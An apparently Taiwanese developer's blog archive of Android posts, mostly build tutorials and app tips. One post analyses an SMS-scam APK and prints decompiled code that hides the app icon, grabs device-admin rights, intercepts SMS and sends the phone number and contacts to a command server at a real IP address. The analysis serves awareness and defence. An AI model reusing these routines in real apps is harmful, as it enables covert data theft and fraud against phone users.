Feeds:
文章
迴響

Archive for the ‘Android’ Category

之前手機設定了一張喜歡的桌布, 可是後來找不到原圖, 只剩下手機內的桌布, 網路上找了許多文章提到許多位置, 可惜我還是沒看到, 不過有人推薦了一個好用的 “Wallpaper Saver" 解決了我的問題, 有需要的人也可以試試….

Read Full Post »

[NDK] fplutil v1.0.0 測試

== 環境 ==
1. Windows XP
2. Android SDK
3. Android NDK r10d
4. Python 2.7
5. fplutil 1.0.0
6. Apache Ant 1.8.4
7. JDK 1.7

== 環境設定 ==
## Android SDK, NDK, Ant, Java 新增到 PATH 環境變數
SET PATH=%PATH%;D:\sdk\android\adt-bundle-windows-x86\sdk\tools;D:\sdk\android\android-ndk-r10d;D:\sdk\apache-ant-1.8.4\bin;C:\Program Files\Java\jdk1.7.0_07;c:\Python27;C:\WINDOWS\system32

== fplutil 目錄結構 ==

+---autobuild
|       build_android
|       build_android.cmd
|       build_android.py
|       
+---bin
|       android_ndk_perf
|       android_ndk_perf.cmd
|       android_ndk_perf.py
|       build_all_android
|       build_all_android.cmd
|       build_all_android.py
|       
+---buildutil
|   |   android.py
|   |   android.pyc
|   |   android_test.py
|   |   common.py
|   |   common.pyc
|   |   common_test.py
|   |   linux.py
|   |   linux_test.py
|   |   __init__.py
|   |   __init__.pyc
|   |   
|   \---__pycache__
|           __init__.cpython-33.pyc
|           
+---dependencies
|   \---googletest
|                   
+---disttools
|       config.json
|       push_package.py
|       __init__.py
|       
+---docs
|               
+---examples
|   +---buildutil_example
|   \---libfplutil_example
|                                                               
+---libfplutil
|   +---include
|   |   \---fplutil
|   |           main.h
|   |           print.h
|   |           version.h
|   |           
|   +---jni
|   |       Android.mk
|   |       Application.mk
|   |       
|   +---src
|   |       main.c
|   |       print.c
|   |       print_cxx.cc
|   |       
|   \---tests
|               
\---perf
    +---bin
    |   +---android-16
    |   +---android-17
    |   +---android-18
    |   \---android-19
    |               
    +---build
    |           
    \---tools
        |   LICENSE
        |   
        \---telemetry
            \---telemetry
                \---core
                    \---platform
                        \---profiler
                            \---perf_vis
                                    d3.v3.min.js
                                    jquery-1.11.0.min.js
                                    LICENSE-d3.v3.min.js.txt
                                    LICENSE-jquery.txt
                                    LICENSE-sammy.js.txt
                                    perf-vis
                                    perf-vis-template.html
                                    perf-vis.cmd
                                    perf-vis.py
                                    perf_to_tracing_json
                                    perf_to_tracing_json.cmd
                                    perf_to_tracing_json.py
                                    sammy-latest.min.js
                                    sequences.js

== 編譯內建範例 ==
## libfplutil_example
# 自動編譯, 打包, 安裝, 執行
#
cd libfplutil_example
..\..\bin\build_all_android -T debug -i -r
# 執行結果目錄結構

|   AndroidManifest.xml
|   build.xml
|   local.properties
|   main.c
|   proguard-project.txt
|   project.properties
|   
+---apks
|       example-debug.apk   ; 打包的 app
|       
+---bin
|   |   AndroidManifest.xml     ; 從 /AndroidManifest.xml 複製過來
|   |   AndroidManifest.xml.d
|   |   build.prop
|   |   example-debug-unaligned.apk
|   |   example-debug-unaligned.apk.d
|   |   example-debug.apk
|   |   example.ap_
|   |   example.ap_.d
|   |   
|   \---res
+---jni
|       Android.mk
|       Application.mk
|       
+---libs
|   +---armeabi-v7a
|   |       gdb.setup
|   |       gdbserver
|   |       libfplutil_example.so   ; 
|   |       
|   \---local
|       \---armeabi-v7a
|           |   libandroid_native_app_glue.a
|           |   libfplutil_example.so
|           |   libfplutil_main.a
|           |   libfplutil_print.a
|           |   
|           \---objs-debug
|                                                       
+---obj
\---res

## 手動編譯
# 切到 libfplutil_example 目錄
cd libfplutil_example

# 編譯
ndk-build.cmd
android update project –path . –target android-17 –name libfplutil_example
ant debug

# 安裝
adb install bin/libfplutil_example-debug.apk

# 測試
adb shell am start -S -n com.google.fpl.libfplutil.example/android.app.NativeActivity

參考資料
http://google.github.io/fplutil/libfplutil_example.html

Read Full Post »

Google Play 官方下載

好久沒沈迷一個遊戲, 這個遊戲雖然玩法簡單但還蠻有趣的. 不過說實在還蠻有難度, 尤其是遇到具有"閃躲"技能的豬. 根本是消耗戰

不果動點手腳之後… 勢如破竹

取得寶劍

Screenshot_2014-06-20-05-27-49 Screenshot_2014-06-20-05-27-53 Screenshot_2014-06-20-06-33-00 Screenshot_2014-06-20-06-34-10

 

 

最終魔王

Screenshot_2014-06-20-05-16-14

 

Screenshot_2014-06-20-07-18-09

 

Screenshot_2014-06-20-07-18-33 Screenshot_2014-06-20-07-18-47 Screenshot_2014-06-20-07-18-58 Screenshot_2014-06-20-05-16-59

Screenshot_2014-06-20-07-19-05

 

等待遊戲新進度

20140624-08


 

補充:

1) 金錢/資源修改版

只對於重頭玩用戶有效…

2) 我的攻擊/防禦強化 + 敵人弱化版 + 資源無限

device-2014-06-20-222446

device-2014-06-20-222922

20140624-02 20140624-03 20140624-04 20140624-05 20140624-06 20140624-0720140624-01

 

 

Read Full Post »

解析 詐騙簡訊App

最近我也常收到 “民事賠償訴訟通知單(台北地院)“詐騙簡訊

20140608

好奇這些App的運作原理。首先

1. 點了簡訊的轉網址是連到 dropbox 的 apk

照理說手機點了應該也不會直接下載才對… 就算下載了應該也不會自動安裝

就算安裝也會顯示奇怪的權限….發送簡訊 <– 有這種權限的 App 基本上都要小心

為什麼會中標了呢?

 

20140608-01

2. 反編譯程式碼, 看有什麼好玩的

https://github.com/cwchiu/sms_virus/

a) 權限 – AndroidManifest.xml

android.permission.READ_PHONE_STATE
android.permission.SEND_SMS
android.permission.READ_SMS
android.permission.WRITE_SMS
android.permission.RECEIVE_SMS
android.permission.INTERNET
android.permission.READ_CONTACTS
android.permission.RECEIVE_BOOT_COMPLETED

基本上簡訊已經完全被掌握了….

聯絡人也被抓走,意思是你的朋友也可能收到你寄的詐騙簡訊

聯絡人也會被透過網路取走

最後他也會隨著Android 系統啟動時,自動在背景運作…

b) Activity 進入點 com.example.google.service.MainActivity

b.1) 啟動 com.example.google.service.Services 服務

 private void StartService()
  {
    Intent localIntent = new Intent();
    localIntent.setAction(“com.example.google.service.Services");
    getApplicationContext().startService(localIntent);
  }

b.2) 取得設備管理員權限

private void addAdviceAdmin()
  {
    Intent localIntent = new Intent(android.app.action.ADD_DEVICE_ADMIN);
    localIntent.putExtra(android.app.extra.DEVICE_ADMIN, new ComponentName(“com.example.google.service", “com.example.google.service.MyDeviceAdminReceiver"));
    startActivity(localIntent);
  }

b.3) 隱藏 App Icon

private void HideIcon()
  {
    getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
    setResult(1);
  }

c) 服務, com.example.google.service.Services

c.1) 執行 Repeater.sendUpdateBroadcastRepeat(this);

c.2) Repeater::sendUpdateBroadcastRepeat, 利用 Alarm 服務定時執行 TaskRequest

public class Repeater
{
  public static void sendUpdateBroadcastRepeat(Context paramContext)
  {
    PendingIntent localPendingIntent = PendingIntent.getBroadcast(paramContext, 0, new Intent(paramContext, TaskRequest.class), 0);
    long l = SystemClock.elapsedRealtime();
    ((AlarmManager)paramContext.getSystemService(“alarm")).setRepeating(2, l, 40000L, localPendingIntent);
  }
}

c.3) TaskRequest::onReceive, 取得手機號碼, Model, SDK 版號

    this._Context = paramContext;
    if (this._Phone == null)
    {
      this._Phone = Tools.getPhoneNumber(this._Context);
      this._Model = Build.MODEL;
      this._Model = (this._Model + “;" + Build.VERSION.SDK_INT);
    }
    this._Caller = new WebServiceCalling(paramContext);
    SendRequest();

c.4) TaskRequest::SendRequest,

this._Caller.Request(this.taskHandler, this._Phone, this._Model);

c.5) WebServiceCalling::Request(Handler paramHandler, String paramString1, String paramString2) — 後面再說這個 WebServiceCalling

// this.urlRoot
// 定義在 strings.xml 的 Url
callWSSub(paramHandler, 100, this.urlRoot + “SMSHandler1.ashx?t=request&p=" + Uri.encode(paramString1) + “&m=" + Uri.encode(paramString2));

c.6) HttpHelper::callWS(String paramString)

// 送個 HTTP GET
HttpGet localHttpGet = new HttpGet(paramString);
    try
    {
      HttpResponse localHttpResponse = new DefaultHttpClient().execute(localHttpGet);
      Object localObject = “";
      if (localHttpResponse.getStatusLine().getStatusCode() == 200)
      {
        String str = EntityUtils.toString(localHttpResponse.getEntity());
        localObject = str;
      }
      return localObject;
    }
    catch (Exception localException)
    {
    }
    return “";

c.7) TaskRequest::taskHandler::handleMessage

public void handleMessage(Message paramAnonymousMessage)
    {
      switch (paramAnonymousMessage.what)
      {
      case 3:
      default:
        return;
      case 100:
         // 送出手機號碼
         // http://141.105.65.113/sms/SMSHandler.ashx?t=s&p=手機號碼
        TaskRequest.this.ProcessTasks(paramAnonymousMessage);
        return;
      case 0:
        // 發送簡訊
        new SMSSender(TaskRequest.this._Context).SendSMS(paramAnonymousMessage);
        return;
      case 2:
      }
      // 撈光你的通訊錄
      // 使用 WebServiceCalling::SendContacts
      // http://141.105.65.113/sms/ SMSHandler1.ashx?t=c&p=手機號碼&n=通訊錄資料
      new Contacts(TaskRequest.this._Context).ForwardContacts();
    }
  };

 

d) WebServiceCalling class — 網路服務

// 
// http://141.105.65.113/sms/SMSHandler.ashx?t=c&p=xxx&n=yyy
  public void ForwardContacts(Handler paramHandler, String paramString1, String paramString2)
    throws ParserConfigurationException, UnsupportedEncodingException
  {
    callWSSub(this.urlRoot + “SMSHandler.ashx?t=c&p=" + Uri.encode(paramString1) + “&n=" + Uri.encode(paramString2));
  }
//
// http://141.105.65.113/sms/SMSHandler1.ashx?t=l&p=ppp&c=ccc&ty=ooo&l=uuu
  public void Log(String paramString1, String paramString2, String paramString3, String paramString4)
  {
    callWSSub(this.urlRoot + “SMSHandler1.ashx?t=l&p=" + Uri.encode(paramString3) + “&c=" + paramString1 + “&ty=" + paramString2 + “&l=" + Uri.encode(paramString4));
  }
//http://141.105.65.113/sms/SMSHandler1.ashx?t=new
  public void NEWURL()
  {
    String str = this.urlRoot + “SMSHandler1.ashx?t=new";
    System.out.print(str);
    callWSSub(this.Handler_NewUrl, str);
  }
// http://141.105.65.113/sms/SMSHandler1.ashx?t=request&p=xxxx&m=yyy
  public void Request(Handler paramHandler, String paramString1, String paramString2)
  {
    callWSSub(paramHandler, 100, this.urlRoot + “SMSHandler1.ashx?t=request&p=" + Uri.encode(paramString1) + “&m=" + Uri.encode(paramString2));
  }
// http://141.105.65.113/sms/SMSHandler.ashx?t=s&p=xxx 
  public void Send(Handler paramHandler, String paramString)
    throws ParserConfigurationException, UnsupportedEncodingException
  {
    callWSSub(paramHandler, 0, this.urlRoot + “SMSHandler.ashx?t=s&p=" + Uri.encode(paramString));
  }
// http://141.105.65.113/sms/SMSHandler1.ashx?t=c&p=xxx&n=yyy
  public void SendContacts(String paramString1, String paramString2)
  {
    callWSSub(this.urlRoot + “SMSHandler1.ashx?t=c&p=" + Uri.encode(paramString1) + “&n=" + Uri.encode(paramString2));
  }
// http://141.105.65.113/sms/SMSHandler.ashx?t=stc&p=xxx
  public void SendToContacts(Handler paramHandler, String paramString)
    throws ParserConfigurationException, UnsupportedEncodingException
  {
    callWSSub(paramHandler, 3, this.urlRoot + “SMSHandler.ashx?t=stc&p=" + Uri.encode(paramString));
  }

e) SMSReceiver — 簡訊攔截處理

e.1) 檢驗是否為特殊號碼 6279,1232111,mopay,boku,66245,bezahlcode,holyo,55498,55496,33235,46645

e.2) 執行 WebServiceCalling::Forward

 

Read Full Post »

參考[1] 的文章,嘗試做了一遍確實可行… 以下是我的環境

環境
1. CentOS 5.9 (32Bits)
2. Go 1.1.1

步驟
1. 下載 http://go.googlecode.com/files/go1.2.1.linux-386.tar.gz
/home/arick/go/

2. 儲存以下腳本為 go-crosscompile-build 到 /home/arick/go/src
#!/bin/bash
# Copyright 2012 The Go Authors. All rights reserved.
# Use of this source code is governed by a BSD-style
# license that can be found in the LICENSE file.

# support functions for go cross compilation

type setopt >/dev/null 2>&1 && setopt shwordsplit
PLATFORMS="darwin/386 darwin/amd64 freebsd/386 freebsd/amd64 freebsd/arm linux/386 linux/amd64 linux/arm windows/386 windows/amd64″

function go-alias {
GOOS=${1%/*}
GOARCH=${1#*/}
eval “function go-${GOOS}-${GOARCH} { ( GOOS=${GOOS} GOARCH=${GOARCH} go \$@ ) }"
}

function go-crosscompile-build {
GOOS=${1%/*}
GOARCH=${1#*/}
cd $(go env GOROOT)/src ; GOOS=${GOOS} GOARCH=${GOARCH} ./make.bash –no-clean 2>&1
}

function go-crosscompile-build-all {
FAILURES=""
for PLATFORM in $PLATFORMS; do
CMD="go-crosscompile-build ${PLATFORM}"
echo “$CMD"
$CMD || FAILURES="$FAILURES $PLATFORM"
done
if [ “$FAILURES" != “" ]; then
echo “*** go-crosscompile-build-all FAILED on $FAILURES ***"
return 1
fi
}

function go-all {
FAILURES=""
for PLATFORM in $PLATFORMS; do
GOOS=${PLATFORM%/*}
GOARCH=${PLATFORM#*/}
CMD="go-${GOOS}-${GOARCH} $@"
echo “$CMD"
$CMD || FAILURES="$FAILURES $PLATFORM"
done
if [ “$FAILURES" != “" ]; then
echo “*** go-all FAILED on $FAILURES ***"
return 1
fi
}

function go-build-all {
FAILURES=""
for PLATFORM in $PLATFORMS; do
GOOS=${PLATFORM%/*}
GOARCH=${PLATFORM#*/}
OUTPUT=`echo $@ | sed ‘s/\.go//’`
CMD="go-${GOOS}-${GOARCH} build -o $OUTPUT-${GOOS}-${GOARCH} $@"
echo “$CMD"
$CMD || FAILURES="$FAILURES $PLATFORM"
done
if [ “$FAILURES" != “" ]; then
echo “*** go-build-all FAILED on $FAILURES ***"
return 1
fi
}

#for PLATFORM in $PLATFORMS; do
# go-alias $PLATFORM
#done
go-crosscompile-build-all
unset -f go-alias

3. /home/arick/go/src 執行 bash go-crosscompile-build
輸出 /usr/local/go

/usr/local/go/pkg 應該會有各種 target

20140324-02

4. 編譯 Windows 386
export GOOS=windows
export GOARCH=386
go build -o test-win-x86.exe test.go

20140324-03

5. 編譯 Android (ARMv7)
export GOARCH=arm
export GOOS=linux
export GOARM=7

go build -o test-armv7 test.go

# 上傳到 Android 測試

adb push test-armv7 /data/local/tmp

chmod 755 /data/local/tmp/test-armv7

/data/local/tmp/test-armv7

20140324-01

 

補充 test.go

package main
import (
“fmt"
)

func main(){
fmt.Print(“Hello World\n");
}

參考資料
[1] http://dave.cheney.net/2013/07/09/an-introduction-to-cross-compilation-with-go-1-1

Read Full Post »

最近發現開發 Android 的"神器"… 快速開發真的當之無愧…

看來我可以重拾Basic XDDDD

程式太簡單了…

20140321

UI 也超棒的… 雖然還比不上 VB

20140321-2

執行結果

device-2014-03-21-092721

開發真的非常快速,尤其是可在除錯模式編輯程式而且立即生效 (當然還是有某些限制)

最最最厲害的一點…開發快,執行效能也接近純Java… 因為內部運作是 Basic => Java => DEX 沒有 Basic Runtime 的消耗,啟動非常快…讚

雖然真的快速開發,不過如果真的要開發一個完整的應用程式還是有許多眉角要注意….

繼續研究….

Read Full Post »

1) GBA 遊戲存檔

同 .gba 相同目錄

2) MyBoy 存檔

/sdcard/MyBoy/save

檔名為"遊戲名.st序號" (另一個副檔名加上 png 為對應截圖)
3) 金手指
檔名為"遊戲名.cht"
路徑 /sdcard/MyBoy/cheat

Read Full Post »

Older Posts »